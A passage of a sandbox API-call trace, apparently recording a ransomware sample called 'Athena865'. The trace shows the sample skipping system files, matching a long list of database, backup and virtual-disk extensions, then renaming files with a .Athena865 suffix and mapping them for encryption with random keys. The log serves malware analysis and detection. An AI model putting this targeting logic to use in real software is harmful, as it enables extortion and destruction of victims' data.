[0106.011] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0106.011] lstrlenW (lpString="pan") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0106.011] lstrlenW (lpString="pdb") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0106.011] lstrlenW (lpString="pdm") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0106.011] lstrlenW (lpString="pnz") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0106.011] lstrlenW (lpString="qry") returned 3 [0106.011] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0106.012] lstrlenW (lpString="qvd") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0106.012] lstrlenW (lpString="rbf") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0106.012] lstrlenW (lpString="rctd") returned 4 [0106.012] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0106.012] lstrlenW (lpString="rod") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0106.012] lstrlenW (lpString="rodx") returned 4 [0106.012] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0106.012] lstrlenW (lpString="rpd") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0106.012] lstrlenW (lpString="rsd") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0106.012] lstrlenW (lpString="sas7bdat") returned 8 [0106.012] lstrcmpiW (lpString1="sMUI.msi", lpString2="sas7bdat") returned 1 [0106.012] lstrlenW (lpString="sbf") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0106.012] lstrlenW (lpString="scx") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0106.012] lstrlenW (lpString="sdb") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0106.012] lstrlenW (lpString="sdc") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0106.012] lstrlenW (lpString="sdf") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0106.012] lstrlenW (lpString="sis") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0106.012] lstrlenW (lpString="spq") returned 3 [0106.012] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0106.012] lstrlenW (lpString="te") returned 2 [0106.012] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0106.012] lstrlenW (lpString="teacher") returned 7 [0106.013] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0106.013] lstrlenW (lpString="tmd") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0106.013] lstrlenW (lpString="tps") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0106.013] lstrlenW (lpString="trc") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0106.013] lstrlenW (lpString="trc") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0106.013] lstrlenW (lpString="trm") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0106.013] lstrlenW (lpString="udb") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0106.013] lstrlenW (lpString="udl") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0106.013] lstrlenW (lpString="usr") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0106.013] lstrlenW (lpString="v12") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0106.013] lstrlenW (lpString="vis") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0106.013] lstrlenW (lpString="vpd") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0106.013] lstrlenW (lpString="vvv") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0106.013] lstrlenW (lpString="wdb") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0106.013] lstrlenW (lpString="wmdb") returned 4 [0106.013] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0106.013] lstrlenW (lpString="wrk") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0106.013] lstrlenW (lpString="xdb") returned 3 [0106.013] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0106.013] lstrlenW (lpString="xld") returned 3 [0106.014] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0106.014] lstrlenW (lpString="xmlff") returned 5 [0106.014] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0106.014] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.Athena865") returned 99 [0106.014] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.athena865"), dwFlags=0x1) returned 1 [0106.015] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0106.015] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2517504) returned 1 [0106.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0106.016] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0106.016] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.016] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.016] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x266d00, lpName=0x0) returned 0x154 [0106.018] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x66d00) returned 0x2d50000 [0106.067] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0106.151] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0106.168] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0106.169] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.169] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0106.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0106.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0106.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0106.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.170] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0106.173] CloseHandle (hObject=0x154) returned 1 [0106.173] CloseHandle (hObject=0x17c) returned 1 [0106.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0106.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.185] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".") returned 1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="..") returned 1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="windows") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="bootmgr") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="temp") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="pagefile.sys") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="boot") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="ids.txt") returned -1 [0106.185] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="ntuser.dat") returned -1 [0106.186] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="perflogs") returned -1 [0106.186] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="MSBuild") returned -1 [0106.186] lstrlenW (lpString="AccessMUI.xml") returned 13 [0106.186] lstrcpyW (in: lpString1=0x241e8e0, lpString2="AccessMUI.xml" | out: lpString1="AccessMUI.xml") returned="AccessMUI.xml" [0106.186] lstrlenW (lpString="AccessMUI.xml") returned 13 [0106.186] lstrlenW (lpString="Athena865") returned 9 [0106.186] lstrcmpiW (lpString1="ssMUI.xml", lpString2="Athena865") returned 1 [0106.186] lstrlenW (lpString=".dll") returned 4 [0106.186] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".dll") returned 1 [0106.186] lstrlenW (lpString=".lnk") returned 4 [0106.186] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".lnk") returned 1 [0106.186] lstrlenW (lpString=".ini") returned 4 [0106.186] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".ini") returned 1 [0106.186] lstrlenW (lpString=".sys") returned 4 [0106.186] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".sys") returned 1 [0106.186] lstrlenW (lpString="AccessMUI.xml") returned 13 [0106.186] lstrlenW (lpString="bak") returned 3 [0106.186] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0106.186] lstrlenW (lpString="ba_") returned 3 [0106.186] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0106.186] lstrlenW (lpString="dbb") returned 3 [0106.186] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0106.186] lstrlenW (lpString="vmdk") returned 4 [0106.186] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0106.186] lstrlenW (lpString="rar") returned 3 [0106.186] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0106.186] lstrlenW (lpString="zip") returned 3 [0106.186] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0106.186] lstrlenW (lpString="tgz") returned 3 [0106.186] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0106.186] lstrlenW (lpString="vbox") returned 4 [0106.187] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0106.187] lstrlenW (lpString="vdi") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0106.187] lstrlenW (lpString="vhd") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0106.187] lstrlenW (lpString="vhdx") returned 4 [0106.187] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0106.187] lstrlenW (lpString="avhd") returned 4 [0106.187] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0106.187] lstrlenW (lpString="db") returned 2 [0106.187] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0106.187] lstrlenW (lpString="db2") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0106.187] lstrlenW (lpString="db3") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0106.187] lstrlenW (lpString="dbf") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0106.187] lstrlenW (lpString="mdf") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0106.187] lstrlenW (lpString="mdb") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0106.187] lstrlenW (lpString="sql") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0106.187] lstrlenW (lpString="sqlite") returned 6 [0106.187] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0106.187] lstrlenW (lpString="sqlite3") returned 7 [0106.187] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0106.187] lstrlenW (lpString="sqlitedb") returned 8 [0106.187] lstrcmpiW (lpString1="sMUI.xml", lpString2="sqlitedb") returned -1 [0106.187] lstrlenW (lpString="xml") returned 3 [0106.187] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0106.188] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.Athena865") returned 99 [0106.188] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.athena865"), dwFlags=0x1) returned 1 [0106.189] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0106.189] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1349) returned 1 [0106.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0106.189] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0106.190] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.190] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.190] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x154 [0106.192] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000 [0106.193] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0106.193] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.193] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0106.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0106.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.194] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0106.194] CloseHandle (hObject=0x154) returned 1 [0106.194] CloseHandle (hObject=0x17c) returned 1 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0106.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.195] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2=".") returned 1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="..") returned 1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="windows") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="bootmgr") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="temp") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="pagefile.sys") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="boot") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="ids.txt") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="ntuser.dat") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="perflogs") returned -1 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2="MSBuild") returned -1 [0106.195] lstrlenW (lpString="AccLR.cab") returned 9 [0106.195] lstrcpyW (in: lpString1=0x241e8e0, lpString2="AccLR.cab" | out: lpString1="AccLR.cab") returned="AccLR.cab" [0106.195] lstrlenW (lpString="AccLR.cab") returned 9 [0106.195] lstrlenW (lpString="Athena865") returned 9 [0106.195] lstrlenW (lpString=".dll") returned 4 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2=".dll") returned 1 [0106.195] lstrlenW (lpString=".lnk") returned 4 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2=".lnk") returned 1 [0106.195] lstrlenW (lpString=".ini") returned 4 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2=".ini") returned 1 [0106.195] lstrlenW (lpString=".sys") returned 4 [0106.195] lstrcmpiW (lpString1="AccLR.cab", lpString2=".sys") returned 1 [0106.195] lstrlenW (lpString="AccLR.cab") returned 9 [0106.195] lstrlenW (lpString="bak") returned 3 [0106.195] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0106.196] lstrlenW (lpString="ba_") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0106.196] lstrlenW (lpString="dbb") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0106.196] lstrlenW (lpString="vmdk") returned 4 [0106.196] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0106.196] lstrlenW (lpString="rar") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0106.196] lstrlenW (lpString="zip") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0106.196] lstrlenW (lpString="tgz") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0106.196] lstrlenW (lpString="vbox") returned 4 [0106.196] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0106.196] lstrlenW (lpString="vdi") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0106.196] lstrlenW (lpString="vhd") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0106.196] lstrlenW (lpString="vhdx") returned 4 [0106.196] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0106.196] lstrlenW (lpString="avhd") returned 4 [0106.196] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0106.196] lstrlenW (lpString="db") returned 2 [0106.196] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0106.196] lstrlenW (lpString="db2") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0106.196] lstrlenW (lpString="db3") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0106.196] lstrlenW (lpString="dbf") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0106.196] lstrlenW (lpString="mdf") returned 3 [0106.196] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0106.197] lstrlenW (lpString="mdb") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0106.197] lstrlenW (lpString="sql") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0106.197] lstrlenW (lpString="sqlite") returned 6 [0106.197] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0106.197] lstrlenW (lpString="sqlite3") returned 7 [0106.197] lstrcmpiW (lpString1="cLR.cab", lpString2="sqlite3") returned -1 [0106.197] lstrlenW (lpString="sqlitedb") returned 8 [0106.197] lstrcmpiW (lpString1="ccLR.cab", lpString2="sqlitedb") returned -1 [0106.197] lstrlenW (lpString="xml") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0106.197] lstrlenW (lpString="$er") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0106.197] lstrlenW (lpString="4dd") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0106.197] lstrlenW (lpString="4dl") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0106.197] lstrlenW (lpString="^^^") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0106.197] lstrlenW (lpString="abs") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0106.197] lstrlenW (lpString="abx") returned 3 [0106.197] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0106.197] lstrlenW (lpString="accdb") returned 5 [0106.197] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0106.197] lstrlenW (lpString="accdc") returned 5 [0106.197] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0106.197] lstrlenW (lpString="accde") returned 5 [0106.197] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0106.197] lstrlenW (lpString="accdr") returned 5 [0106.197] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0106.198] lstrlenW (lpString="accdt") returned 5 [0106.198] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0106.198] lstrlenW (lpString="accdw") returned 5 [0106.198] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0106.198] lstrlenW (lpString="accft") returned 5 [0106.198] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0106.198] lstrlenW (lpString="adb") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0106.198] lstrlenW (lpString="adb") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0106.198] lstrlenW (lpString="ade") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0106.198] lstrlenW (lpString="adf") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0106.198] lstrlenW (lpString="adn") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0106.198] lstrlenW (lpString="adp") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0106.198] lstrlenW (lpString="alf") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0106.198] lstrlenW (lpString="ask") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0106.198] lstrlenW (lpString="btr") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0106.198] lstrlenW (lpString="cat") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0106.198] lstrlenW (lpString="cdb") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0106.198] lstrlenW (lpString="ckp") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0106.198] lstrlenW (lpString="cma") returned 3 [0106.198] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0106.199] lstrlenW (lpString="cpd") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0106.199] lstrlenW 